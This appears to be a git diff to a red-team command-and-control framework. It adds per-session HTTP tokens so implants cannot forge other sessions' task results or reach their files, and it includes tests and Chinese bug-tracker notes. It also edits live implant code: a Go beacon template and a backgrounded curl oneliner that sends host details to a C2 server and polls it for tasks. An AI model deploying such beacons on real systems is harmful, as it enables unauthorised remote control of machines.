diff --git a/docs/bug-sheet-review.md b/docs/bug-sheet-review.md index 9aee43db..d1dd2dd1 100644 --- a/docs/bug-sheet-review.md +++ b/docs/bug-sheet-review.md @@ -148,3 +148,9 @@ ### HTTP 文件上传归属检查(表格第 36 行扩展路径) HTTP 上传端点此前只验证共享监听器凭据与任务 ID 路径,未校验任务会话归属。现上传前查询任务及其会话,拒绝其他监听器任务。回归测试验证外部监听器不能覆盖已有文件、所属监听器正常上传可用;原路径安全测试增加真实任务/会话夹具。C2 包测试通过。文件下载端点使用独立 file_id,不可直接当 task_id 校验,未以错误映射限制下载;同监听器会话隔离及下载文件归属继续核对。 + +### HTTP 会话及文件端点隔离(表格第 36 行) + +HTTP 原共享监听器凭据无法证明具体会话身份。现生成客户端为每个运行实例产生随机独立 X-Session-Token,数据库只保存 SHA-256 哈希;首次身份绑定不可覆盖,已有无绑定身份不得由仅知 UUID 的客户端认领。心跳、任务领取、结果回传和文件读写均检查独立凭据;文件下载通过任务 payload.file_id 关联真实所属会话。生成 Go 客户端所有 HTTP 请求同步携带会话凭据,curl 心跳客户端同步生成并携带凭据。双会话回归覆盖正常重连、任务领取、结果回传、文件读写及缺失/其他会话凭据拒绝,验证不修改其他任务或文件。身份测试覆盖哈希存储、旧身份禁止认领和跨监听器拒绝。C2/数据库测试通过,Go 客户端 Linux/Windows/macOS 编译通过,未执行生成客户端。 + +升级兼容:原 HTTP 客户端没有独立会话凭据,不能继续通过新校验,需要重新生成客户端;新实例使用新身份,不自动接管旧实例任务。自定义 HTTP 客户端需生成至少 32 字符随机凭据、首次注册携带并在同一实例后续请求保持一致。旧会话和任务记录保留。此要求是修复共享身份绕过所必需,未保留可绕过校验的旧协议入口。 diff --git a/docs/bug-sheet-status.md b/docs/bug-sheet-status.md index c3a80a2c..fd37eea4 100644 --- a/docs/bug-sheet-status.md +++ b/docs/bug-sheet-status.md @@ -38,7 +38,7 @@ | 33 | 31 | 角色名可以加个 长度限制,否则展示有问题 | 已修复并有针对性验证 | | 34 | 32 | 批量任务里只要指令不调用任何工具(例如「请只回复:OK」),子任务就必然失败并回「缺少执行证据」 | 已修复并有针对性验证 | | 35 | — | Markdown 智能体:同文件名静默覆盖、关键字段不校验、name 含路径字符被静默改写 | 已修复并有针对性验证 | -| 36 | — | 任务结果不校验上报者归属 —— 任意植入体可伪造别的会话、甚至别的监听器的任务结果。 | 已修复持久连接跨会话及跨监听器回传;HTTP 同监听器会话隔离待核对 | +| 36 | — | 任务结果不校验上报者归属 —— 任意植入体可伪造别的会话、甚至别的监听器的任务结果。 | 已修复持久连接及 HTTP 跨会话、跨监听器回传,HTTP 文件端点同步隔离;旧 HTTP 客户端须重新生成 | | 37 | — | 100s 状态不变、无 error、无 completed_at,会话早已离线。 | 待核对 | | 38 | — | 在「工作流」里删掉一个正被角色引用的工作流 → 删除成功且没有任何提示;之后任何人用这个角色发起 | 已修复并有针对性验证 | | 39 | — | 同一 implant uuid 重复上线互踢,旧连接断开把会话判死 | 已修复并有针对性验证 | diff --git a/internal/c2/http_file_ownership_test.go b/internal/c2/http_file_ownership_test.go index 85782998..01368d7a 100644 --- a/internal/c2/http_file_ownership_test.go +++ b/internal/c2/http_file_ownership_test.go @@ -13,6 +13,8 @@ import ( func TestHTTPUploadEnforcesListenerOwnership(t *testing.T) { manager, db := terminalTestManager(t) + secret := strings.Repeat("a", 43) + installHTTPIdentityFixture(t, db, "listener", "test-uuid", secret) task := &database.C2Task{ID: "test-only-file-task", SessionID: "session", TaskType: "download", Status: "sent", CreatedAt: time.Now()} if err := db.CreateC2Task(task); err != nil { t.Fatal(err) @@ -42,6 +44,7 @@ func TestHTTPUploadEnforcesListenerOwnership(t *testing.T) { } upload := httptest.NewRequest(http.MethodPost, "/upload?task_id="+task.ID, strings.NewReader(body)) upload.Header.Set("X-Implant-Token", "test-only-token") + upload.Header.Set("X-Session-Token", secret) rr := httptest.NewRecorder() listener.handleUpload(rr, upload) expected := http.StatusNotFound diff --git a/internal/c2/http_payload_compile_test.go b/internal/c2/http_payload_compile_test.go new file mode 100644 index 00000000..51460409 --- /dev/null +++ b/internal/c2/http_payload_compile_test.go @@ -0,0 +1,36 @@ +package c2 + +import ( + "go.uber.org/zap" + "path/filepath" + "testing" +) + +func TestHTTPBeaconSessionCredentialTemplateCompiles(t *testing.T) { + t.Setenv("GO111MODULE", "off") + manager, db := terminalTestManager(t) + key, err := GenerateAESKey() + if err != nil { + t.Fatal(err) + } + if _, err := db.Exec(`UPDATE c2_listeners SET type=?,encryption_key=?,implant_token=? WHERE id=?`, string(ListenerTypeHTTPBeacon), key, "test-only-token", "listener"); err != nil { + t.Fatal(err) + } + // Build artifacts remain temporary; generated clients are never executed. + templateDir, err := filepath.Abs("payload_templates") + if err != nil { + t.Fatal(err) + } + builder := NewPayloadBuilder(manager, zap.NewNop(), templateDir, t.TempDir()) + for _, platform := range []struct{ os, arch string }{{"linux", "amd64"}, {"windows", "amd64"}, {"darwin", "arm64"}} { + t.Run(platform.os, func(t *testing.T) { + result, err := builder.BuildBeacon(PayloadBuilderInput{ListenerID: "listener", OS: platform.os, Arch: platform.arch, Host: "127.0.0.1"}) + if err != nil { + t.Fatal(err) + } + if result.SizeBytes <= 0 { + t.Fatal("empty client") + } + }) + } +} diff --git a/internal/c2/http_session_auth_test.go b/internal/c2/http_session_auth_test.go new file mode 100644 index 00000000..6c9b12ba --- /dev/null +++ b/internal/c2/http_session_auth_test.go @@ -0,0 +1,182 @@ +package c2 + +import ( + "crypto/sha256" + "cyberstrike-ai/internal/database" + "encoding/hex" + "encoding/json" + "go.uber.org/zap" + "net/http" + "net/http/httptest" + "os" + "path/filepath" + "strings" + "testing" + "time" +) + +func TestHTTPSessionIdentityIsolatesCheckInTasksAndResults(t *testing.T) { + manager, db := terminalTestManager(t) + key, err := GenerateAESKey() + if err != nil { + t.Fatal(err) + } + listener := &HTTPBeaconListener{rec: &database.C2Listener{ID: "listener", EncryptionKey: key, ImplantToken: "test-only-listener-token"}, manager: manager, cfg: &ListenerConfig{DefaultSleep: 5}, logger: zap.NewNop()} + secretA := strings.Repeat("a", 43) + secretB := strings.Repeat("b", 43) + checkIn := func(uuid, secret string) (int, string) { + raw, _ := json.Marshal(ImplantCheckInRequest{ImplantUUID: uuid, Hostname: "test-only-host"}) + req := httptest.NewRequest(http.MethodPost, "/check_in", strings.NewReader(string(raw))) + req.Header.Set("X-Implant-Token", listener.rec.ImplantToken) + req.Header.Set("X-Session-Token", secret) + rr := httptest.NewRecorder() + listener.handleCheckIn(rr, req) + var response ImplantCheckInResponse + if rr.Code == http.StatusOK { + if err := json.Unmarshal(rr.Body.Bytes(), &response); err != nil { + t.Fatal(err) + } + } + return rr.Code, response.SessionID + } + code, sessionA := checkIn("test-only-identity-a", secretA) + if code != http.StatusOK || sessionA == "" { + t.Fatalf("valid checkin: %d", code) + } + code, sessionB := checkIn("test-only-identity-b", secretB) + if code != http.StatusOK || sessionB == sessionA { + t.Fatal("second identity failed") + } + if code, id := checkIn("test-only-identity-a", secretA); code != http.StatusOK || id != sessionA { + t.Fatal("valid reconnect failed") + } + for _, secret := range []string{"", secretB} { + if code, _ := checkIn("test-only-identity-a", secret); code != http.StatusNotFound { + t.Fatal("foreign identity takeover accepted") + } + } + task := &database.C2Task{ID: "test-only-owned-task", SessionID: sessionA, TaskType: "exec", Status: "queued", CreatedAt: time.Now()} + if err := db.CreateC2Task(task); err != nil { + t.Fatal(err) + } + req := httptest.NewRequest(http.MethodGet, "/tasks?session_id="+sessionA, nil) + req.Header.Set("X-Implant-Token", listener.rec.ImplantToken) + req.Header.Set("X-Session-Token", secretB) + rr := httptest.NewRecorder() + listener.handleTasks(rr, req) + if rr.Code != http.StatusNotFound { + t.Fatal("foreign tasks accepted") + } + saved, _ := db.GetC2Task(task.ID) + if saved.Status != "queued" { + t.Fatal("foreign poll dispatched task") + } + req.Header.Set("X-Session-Token", secretA) + rr = httptest.NewRecorder() + listener.handleTasks(rr, req) + if rr.Code != http.StatusOK { + t.Fatal("valid task poll failed") + } + fileID := "test-only-downstream-file" + if err := db.CreateC2Task(&database.C2Task{ID: "test-only-file-task", SessionID: sessionA, TaskType: "upload", Payload: map[string]interface{}{"file_id": fileID}, Status: "sent", CreatedAt: time.Now()}); err != nil { + t.Fatal(err) + } + dir := filepath.Join(manager.StorageDir(), "downstream") + if err := os.MkdirAll(dir, 0755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(dir, fileID+".bin"), []byte("test-only-downstream-content"), 0600); err != nil { + t.Fatal(err) + } + listener.cfg.BeaconFilePath = "/file/" + uploadBody, err := EncryptAESGCM(key, []byte("test-only-upload-content")) + if err != nil { + t.Fatal(err) + } + for _, secret := range []string{"", secretB, secretA} { + req := httptest.NewRequest(http.MethodGet, "/file/"+fileID, nil) + req.Header.Set("X-Implant-Token", listener.rec.ImplantToken) + req.Header.Set("X-Session-Token", secret) + rr := httptest.NewRecorder() + listener.handleFileServe(rr, req) + expected := http.StatusNotFound + if secret == secretA { + expected = http.StatusOK + } + if rr.Code != expected { + t.Fatalf("file read identity status %d expected %d", rr.Code, expected) + } + req = httptest.NewRequest(http.MethodPost, "/upload?task_id="+task.ID, strings.NewReader(uploadBody)) + req.Header.Set("X-Implant-Token", listener.rec.ImplantToken) + req.Header.Set("X-Session-Token", secret) + rr = httptest.NewRecorder() + listener.handleUpload(rr, req) + if rr.Code != expected { + t.Fatalf("file write identity status %d expected %d", rr.Code, expected) + } + _, path, err := uploadPathForTask(manager.StorageDir(), task.ID) + if err != nil { + t.Fatal(err) + } + content, readErr := os.ReadFile(path) + if secret != secretA { + if !os.IsNotExist(readErr) { + t.Fatal("foreign file write mutated storage") + } + } else if readErr != nil || string(content) != "test-only-upload-content" { + t.Fatal("valid file upload failed") + } + } + raw, _ := json.Marshal(TaskResultReport{TaskID: task.ID, Success: true, Output: "test-only-result"}) + body, err := EncryptAESGCM(key, raw) + if err != nil { + t.Fatal(err) + } + for _, secret := range []string{secretB, secretA} { + req = httptest.NewRequest(http.MethodPost, "/result", strings.NewReader(body)) + req.Header.Set("X-Implant-Token", listener.rec.ImplantToken) + req.Header.Set("X-Session-Token", secret) + rr = httptest.NewRecorder() + listener.handleResult(rr, req) + saved, _ = db.GetC2Task(task.ID) + if secret == secretB { + if rr.Code != http.StatusNotFound || saved.Status != "sent" || saved.ResultText != "" { + t.Fatal("foreign result persisted") + } + } else if rr.Code != http.StatusOK || saved.Status != "success" { + t.Fatal("valid result rejected") + } + } +} + +func installHTTPIdentityFixture(t *testing.T, db *database.DB, listener, uuid, secret string) { + t.Helper() + hash := sha256.Sum256([]byte(secret)) + if _, err := db.Exec(`INSERT INTO c2_http_session_auth(implant_uuid,listener_id,token_hash) VALUES(?,?,?)`, uuid, listener, hex.EncodeToString(hash[:])); err != nil { + t.Fatal(err) + } +} + +func TestHTTPIdentityBindingDoesNotClaimLegacyOrExposeCredential(t *testing.T) { + _, db := terminalTestManager(t) + secret := strings.Repeat("test-only-secret-", 3) + if ok, err := db.BindC2HTTPIdentity("listener", "test-uuid", secret); err != nil || ok { + t.Fatalf("legacy identity claim: ok=%v err=%v", ok, err) + } + if ok, err := db.BindC2HTTPIdentity("listener", "test-only-new-identity", secret); err != nil || !ok { + t.Fatalf("new identity binding: ok=%v err=%v", ok, err) + } + if ok, err := db.BindC2HTTPIdentity("listener", "test-only-new-identity", strings.Repeat("other", 12)); err != nil || ok { + t.Fatalf("identity secret overwritten: ok=%v err=%v", ok, err) + } + var stored string + if err := db.QueryRow(`SELECT token_hash FROM c2_http_session_auth WHERE implant_uuid=?`, "test-only-new-identity").Scan(&stored); err != nil { + t.Fatal(err) + } + if stored == secret || len(stored) != 64 { + t.Fatal("raw credential stored instead of hash") + } + if ok, err := db.VerifyC2HTTPIdentity("foreign-listener", "test-only-new-identity", secret); err != nil || ok { + t.Fatal("identity usable across listeners") + } +} diff --git a/internal/c2/listener_http.go b/internal/c2/listener_http.go index 8917bfc4..22f9cd80 100644 --- a/internal/c2/listener_http.go +++ b/internal/c2/listener_http.go @@ -199,8 +199,8 @@ func (l *HTTPBeaconListener) handleCheckIn(w http.ResponseWriter, r *http.Reques // curl oneliner 可能不携带完整字段,用 remote IP + listener ID 生成稳定标识 host, _, _ := net.SplitHostPort(r.RemoteAddr) if strings.TrimSpace(req.ImplantUUID) == "" { - // 基于 IP + listener ID 生成稳定 UUID,同一 IP 多次 check_in 复用同一会话 - req.ImplantUUID = fmt.Sprintf("curl_%s_%s", host, shortHash(host+l.rec.ID)) + // 同一客户端凭据复用会话,同 IP 的不同客户端保持独立身份 + req.ImplantUUID = fmt.Sprintf("curl_%s_%s", host, httpIdentityHash(host+l.rec.ID+r.Header.Get("X-Session-Token"))) } if strings.TrimSpace(req.Hostname) == "" { req.Hostname = "curl_" + host @@ -214,6 +214,11 @@ func (l *HTTPBeaconListener) handleCheckIn(w http.ResponseWriter, r *http.Reques if strings.TrimSpace(req.Arch) == "" { req.Arch = "unknown" } + bound, bindErr := l.manager.DB().BindC2HTTPIdentity(l.rec.ID, req.ImplantUUID, r.Header.Get("X-Session-Token")) + if bindErr != nil || !bound { + l.disguisedReject(w) + return + } session, err := l.manager.IngestCheckIn(l.rec.ID, req) if err != nil { http.Error(w, "ingest failed", http.StatusInternalServerError) @@ -254,7 +259,7 @@ func (l *HTTPBeaconListener) handleTasks(w http.ResponseWriter, r *http.Request) return } session, err := l.manager.DB().GetC2Session(sessionID) - if err != nil || session == nil || session.ListenerID != l.rec.ID { + if err != nil || session == nil || session.ListenerID != l.rec.ID || !l.authenticatesSession(r, session) { l.disguisedReject(w) return } @@ -299,7 +304,17 @@ func (l *HTTPBeaconListener) handleResult(w http.ResponseWriter, r *http.Request l.disguisedReject(w) return } - if err := l.manager.IngestTaskResultFromListener(l.rec.ID, "", report); err != nil { + task, taskErr := l.manager.DB().GetC2Task(report.TaskID) + if taskErr != nil || task == nil { + l.disguisedReject(w) + return + } + session, sessionErr := l.manager.DB().GetC2Session(task.SessionID) + if sessionErr != nil || !l.authenticatesSession(r, session) { + l.disguisedReject(w) + return + } + if err := l.manager.IngestTaskResultFromListener(l.rec.ID, session.ID, report); err != nil { http.Error(w, "ingest result failed", http.StatusInternalServerError) return } @@ -324,7 +339,7 @@ func (l *HTTPBeaconListener) handleUpload(w http.ResponseWriter, r *http.Request return } taskID := r.URL.Query().Get("task_id") - if taskID == "" || !l.ownsTask(taskID) { + if taskID == "" || !l.authenticatesTask(r, taskID) { l.disguisedReject(w) return } @@ -372,6 +387,21 @@ func (l *HTTPBeaconListener) handleFileServe(w http.ResponseWriter, r *http.Requ l.disguisedReject(w) return } + identities, identityErr := l.manager.DB().C2HTTPFileIdentities(l.rec.ID, taskID) + authenticated := false + if identityErr == nil { + for _, identity := range identities { + ok, err := l.manager.DB().VerifyC2HTTPIdentity(l.rec.ID, identity, r.Header.Get("X-Session-Token")) + if err == nil && ok { + authenticated = true + break + } + } + } + if !authenticated { + l.disguisedReject(w) + return + } fpath := filepath.Join(l.manager.StorageDir(), "downstream", taskID+".bin") absPath, err := filepath.Abs(fpath) if err != nil { @@ -397,13 +427,21 @@ func (l *HTTPBeaconListener) handleFileServe(w http.ResponseWriter, r *http.Requ // 鉴权 / 输出辅助 // ---------------------------------------------------------------------------- -func (l *HTTPBeaconListener) ownsTask(taskID string) bool { +func (l *HTTPBeaconListener) authenticatesSession(r *http.Request, session *database.C2Session) bool { + if session == nil || session.ListenerID != l.rec.ID { + return false + } + ok, err := l.manager.DB().VerifyC2HTTPIdentity(l.rec.ID, session.ImplantUUID, r.Header.Get("X-Session-Token")) + return err == nil && ok +} + +func (l *HTTPBeaconListener) authenticatesTask(r *http.Request, taskID string) bool { task, err := l.manager.DB().GetC2Task(taskID) if err != nil || task == nil { return false } session, err := l.manager.DB().GetC2Session(task.SessionID) - return err == nil && session != nil && session.ListenerID == l.rec.ID + return err == nil && l.authenticatesSession(r, session) } // checkImplantToken 校验 X-Implant-Token header(恒定时间比较防止时序攻击) @@ -526,9 +564,9 @@ func base64Encode(data []byte) string { return base64.StdEncoding.EncodeToString(data) } -func shortHash(s string) string { +func httpIdentityHash(s string) string { h := sha256.Sum256([]byte(s)) - return hex.EncodeToString(h[:6]) + return hex.EncodeToString(h[:]) } // isPlaintextClient 判断请求是否来自明文客户端(curl oneliner 等) diff --git a/internal/c2/listener_http_test.go b/internal/c2/listener_http_test.go index 0e572a7d..63e82fd0 100644 --- a/internal/c2/listener_http_test.go +++ b/internal/c2/listener_http_test.go @@ -111,6 +111,7 @@ func TestHTTPBeaconListener_CheckInMatrix(t *testing.T) { body := `{"hostname":"n","username":"u","os":"Linux","arch":"amd64","internal_ip":"10.0.0.1","pid":42}` req, _ := http.NewRequest(http.MethodPost, base+"/check_in", strings.NewReader(body)) req.Header.Set("X-Implant-Token", token) + req.Header.Set("X-Session-Token", "test-only-session-credential-0123456789abcdef") req.Header.Set("Content-Type", "application/json") resp, err := client.Do(req) if err != nil { @@ -179,6 +180,13 @@ func TestHTTPBeaconListener_HandleFileServe(t *testing.T) { t.Cleanup(func() { _ = m.StopListener(lid) }) fileID := "f_testfile123" + installHTTPIdentityFixture(t, db, lid, "test-only-file-uuid", "test-only-session-credential-0123456789abcdef") + if err := db.UpsertC2Session(&database.C2Session{ID: "test-only-file-session", ListenerID: lid, ImplantUUID: "test-only-file-uuid"}); err != nil { + t.Fatal(err) + } + if err := db.CreateC2Task(&database.C2Task{ID: "test-only-download-task", SessionID: "test-only-file-session", TaskType: "upload", Payload: map[string]interface{}{"file_id": fileID}, Status: "sent", CreatedAt: time.Now()}); err != nil { + t.Fatal(err) + } downDir := filepath.Join(store, "downstream") if err := os.MkdirAll(downDir, 0o755); err != nil { t.Fatal(err) @@ -195,6 +203,7 @@ func TestHTTPBeaconListener_HandleFileServe(t *testing.T) { t.Run(path, func(t *testing.T) { req, _ := http.NewRequest(http.MethodGet, base+path, nil) req.Header.Set("X-Implant-Token", token) + req.Header.Set("X-Session-Token", "test-only-session-credential-0123456789abcdef") resp, err := client.Do(req) if err != nil { t.Fatal(err) @@ -232,6 +241,7 @@ func TestHTTPBeaconListener_HandleFileServe(t *testing.T) { func TestHTTPBeaconListener_HandleUploadConfinesTaskID(t *testing.T) { m, db := terminalTestManager(t) store := m.StorageDir() + installHTTPIdentityFixture(t, db, "listener", "test-uuid", "test-only-session-credential-0123456789abcdef") if err := db.CreateC2Task(&database.C2Task{ID: "t_safe123", SessionID: "session", TaskType: "download", Status: "sent", CreatedAt: time.Now()}); err != nil { t.Fatal(err) } @@ -256,6 +266,7 @@ func TestHTTPBeaconListener_HandleUploadConfinesTaskID(t *testing.T) { } req := httptest.NewRequest(http.MethodPost, "/upload?task_id=t_safe123", strings.NewReader(encrypted)) req.Header.Set("X-Implant-Token", token) + req.Header.Set("X-Session-Token", "test-only-session-credential-0123456789abcdef") rr := httptest.NewRecorder() l.handleUpload(rr, req) diff --git a/internal/c2/manager_start_test.go b/internal/c2/manager_start_test.go index 9bf15a36..cb55f68f 100644 --- a/internal/c2/manager_start_test.go +++ b/internal/c2/manager_start_test.go @@ -57,6 +57,7 @@ func TestStartListener_ImplantTokenSurvivesHandlerRedaction(t *testing.T) { body := `{"hostname":"n","username":"u","os":"Linux","arch":"amd64","internal_ip":"10.0.0.1","pid":42}` req, _ := http.NewRequest(http.MethodPost, "http://127.0.0.1:"+strconv.Itoa(port)+"/check_in", strings.NewReader(body)) req.Header.Set("X-Implant-Token", token) + req.Header.Set("X-Session-Token", "test-only-session-credential-0123456789abcdef") req.Header.Set("Content-Type", "application/json") resp, err := http.DefaultClient.Do(req) if err != nil { diff --git a/internal/c2/payload_oneliner.go b/internal/c2/payload_oneliner.go index 0ca97c99..f99dde7a 100644 --- a/internal/c2/payload_oneliner.go +++ b/internal/c2/payload_oneliner.go @@ -188,13 +188,13 @@ func GenerateOneliner(in OnelinerInput) (string, error) { `OS=$(uname -s 2>/dev/null||echo unknown);`+ `AR=$(uname -m 2>/dev/null||echo unknown);`+ `IP=$(hostname -I 2>/dev/null|awk "{print \$1}"||echo "");`+ - `SID="";`+ + `ST=$(od -An -N32 -tx1 /dev/urandom|tr -d " \n");[ ${#ST} -eq 64 ]||exit 1;SH="X-Session-Token: $ST";SID="";`+ `while :;do `+ `BODY="{\"hostname\":\"$HN\",\"username\":\"$UN\",\"os\":\"$OS\",\"arch\":\"$AR\",\"internal_ip\":\"$IP\",\"pid\":$$}";`+ - `R=$(curl -fsSk -H "$H" -H "Content-Type: application/json" -X POST "$URL/check_in" -d "$BODY" 2>/dev/null);`+ + `R=$(curl -fsSk -H "$H" -H "$SH" -H "Content-Type: application/json" -X POST "$URL/check_in" -d "$BODY" 2>/dev/null);`+ `if [ -n "$R" ]&&[ -z "$SID" ];then SID=$(echo "$R"|grep -o "\"session_id\":\"[^\"]*\""|head -1|cut -d"\"" -f4);fi;`+ `if [ -n "$SID" ];then `+ - `T=$(curl -fsSk -H "$H" -G "$URL/tasks?session_id=$SID" 2>/dev/null);`+ + `T=$(curl -fsSk -H "$H" -H "$SH" -G "$URL/tasks?session_id=$SID" 2>/dev/null);`+ `fi;`+ `sleep 5;`+ `done' &`, diff --git a/internal/c2/payload_templates/beacon.go.tmpl b/internal/c2/payload_templates/beacon.go.tmpl index d0c5d9e5..93e43e80 100644 --- a/internal/c2/payload_templates/beacon.go.tmpl +++ b/internal/c2/payload_templates/beacon.go.tmpl @@ -72,6 +72,7 @@ const tcpBeaconWireMax = 64 << 20 var ( implantUUID string sessionID string + sessionToken string currentSleep = defaultSleep currentJit = defaultJitter cwdMu sync.Mutex @@ -114,6 +115,12 @@ type TaskReport struct { func main() { defer func() { _ = recover() }() implantUUID = generateImplantUUID() + if beaconTransport != "tcp" { + tokenBytes := make([]byte, 32) + if _, err := rand.Read(tokenBytes); err != nil { return } + sessionToken = base64.RawURLEncoding.EncodeToString(tokenBytes) + implantUUID += "-" + sessionToken[:16] + } currentCwd, _ = os.Getwd() if beaconTransport == "tcp" { @@ -366,6 +373,7 @@ func fetchC2FileByID(fileID string) ([]byte, error) { req, _ := http.NewRequest("GET", url, nil) req.Header.Set("User-Agent", userAgent) req.Header.Set("X-Implant-Token", implantToken) + req.Header.Set("X-Session-Token", sessionToken) resp, err := httpClient.Do(req) if err != nil { return nil, err @@ -509,6 +517,7 @@ func checkIn() (*CheckInResp, error) { req, _ := http.NewRequest("POST", serverURL+checkInPath, bytes.NewReader([]byte(enc))) req.Header.Set("User-Agent", userAgent) req.Header.Set("X-Implant-Token", implantToken) + req.Header.Set("X-Session-Token", sessionToken) resp, err := httpClient.Do(req) if err != nil { return nil, err @@ -537,6 +546,7 @@ func fetchTasks() ([]TaskEnv, error) { req, _ := http.NewRequest("GET", url, nil) req.Header.Set("User-Agent", userAgent) req.Header.Set("X-Implant-Token", implantToken) + req.Header.Set("X-Session-Token", sessionToken) resp, err := httpClient.Do(req) if err != nil { return nil, err @@ -571,6 +581,7 @@ func reportResult(report TaskReport) { req, _ := http.NewRequest("POST", serverURL+resultPath, bytes.NewReader([]byte(enc))) req.Header.Set("User-Agent", userAgent) req.Header.Set("X-Implant-Token", implantToken) + req.Header.Set("X-Session-Token", sessionToken) resp, err := httpClient.Do(req) if err != nil { return diff --git a/internal/database/c2_http_auth.go b/internal/database/c2_http_auth.go new file mode 100644 index 00000000..68d560c9 --- /dev/null +++ b/internal/database/c2_http_auth.go @@ -0,0 +1,61 @@ +package database + +import ( + "crypto/sha256" + "crypto/subtle" + "database/sql" + "encoding/hex" + "strings" +) + +// BindC2HTTPIdentity binds a new HTTP implant identity without permitting an +// existing session to be claimed by a client that only knows its UUID. +func (db *DB) BindC2HTTPIdentity(listenerID, implantUUID, token string) (bool, error) { + if strings.TrimSpace(listenerID) == "" || strings.TrimSpace(implantUUID) == "" || len(token) < 32 || len(token) > 256 { + return false, nil + } + hash := sha256.Sum256([]byte(token)) + encoded := hex.EncodeToString(hash[:]) + _, err := db.Exec(`INSERT INTO c2_http_session_auth(implant_uuid,listener_id,token_hash) + SELECT ?,?,? WHERE NOT EXISTS(SELECT 1 FROM c2_sessions WHERE implant_uuid=?) + ON CONFLICT(implant_uuid) DO NOTHING`, implantUUID, listenerID, encoded, implantUUID) + if err != nil { + return false, err + } + return db.VerifyC2HTTPIdentity(listenerID, implantUUID, token) +} + +func (db *DB) VerifyC2HTTPIdentity(listenerID, implantUUID, token string) (bool, error) { + if len(token) < 32 || len(token) > 256 { + return false, nil + } + var owner, stored string + err := db.QueryRow(`SELECT listener_id,token_hash FROM c2_http_session_auth WHERE implant_uuid=?`, implantUUID).Scan(&owner, &stored) + if err != nil { + if err == sql.ErrNoRows { + return false, nil + } + return false, err + } + hash := sha256.Sum256([]byte(token)) + encoded := hex.EncodeToString(hash[:]) + return owner == listenerID && subtle.ConstantTimeCompare([]byte(stored), []byte(encoded)) == 1, nil +} + +// C2HTTPFileIdentities resolves downstream file IDs through task payloads. +func (db *DB) C2HTTPFileIdentities(listenerID, fileID string) ([]string, error) { + rows, err := db.Query(`SELECT DISTINCT s.implant_uuid FROM c2_tasks t JOIN c2_sessions s ON s.id=t.session_id WHERE s.listener_id=? AND json_valid(t.payload_json) AND json_extract(t.payload_json,'$.file_id')=?`, listenerID, fileID) + if err != nil { + return nil, err + } + defer rows.Close() + var identities []string + for rows.Next() { + var identity string + if err := rows.Scan(&identity); err != nil { + return nil, err + } + identities = append(identities, identity) + } + return identities, rows.Err() +} diff --git a/internal/database/database.go b/internal/database/database.go index ddab0b15..aab1fd73 100644 --- a/internal/database/database.go +++ b/internal/database/database.go @@ -929,10 +929,16 @@ func (db *DB) initTables() error { for tableName, ddl := range map[string]string{ "c2_listeners": createC2ListenersTable, "c2_sessions": createC2SessionsTable, - "c2_tasks": createC2TasksTable, - "c2_files": createC2FilesTable, - "c2_events": createC2EventsTable, - "c2_profiles": createC2ProfilesTable, + "c2_http_session_auth": `CREATE TABLE IF NOT EXISTS c2_http_session_auth ( + implant_uuid TEXT PRIMARY KEY, + listener_id TEXT NOT NULL, + token_hash TEXT NOT NULL, + FOREIGN KEY (listener_id) REFERENCES c2_listeners(id) ON DELETE CASCADE + );`, + "c2_tasks": createC2TasksTable, + "c2_files": createC2FilesTable, + "c2_events": createC2EventsTable, + "c2_profiles": createC2ProfilesTable, } { if _, err := db.Exec(ddl); err != nil { return fmt.Errorf("创建%s表失败: %w", tableName, err)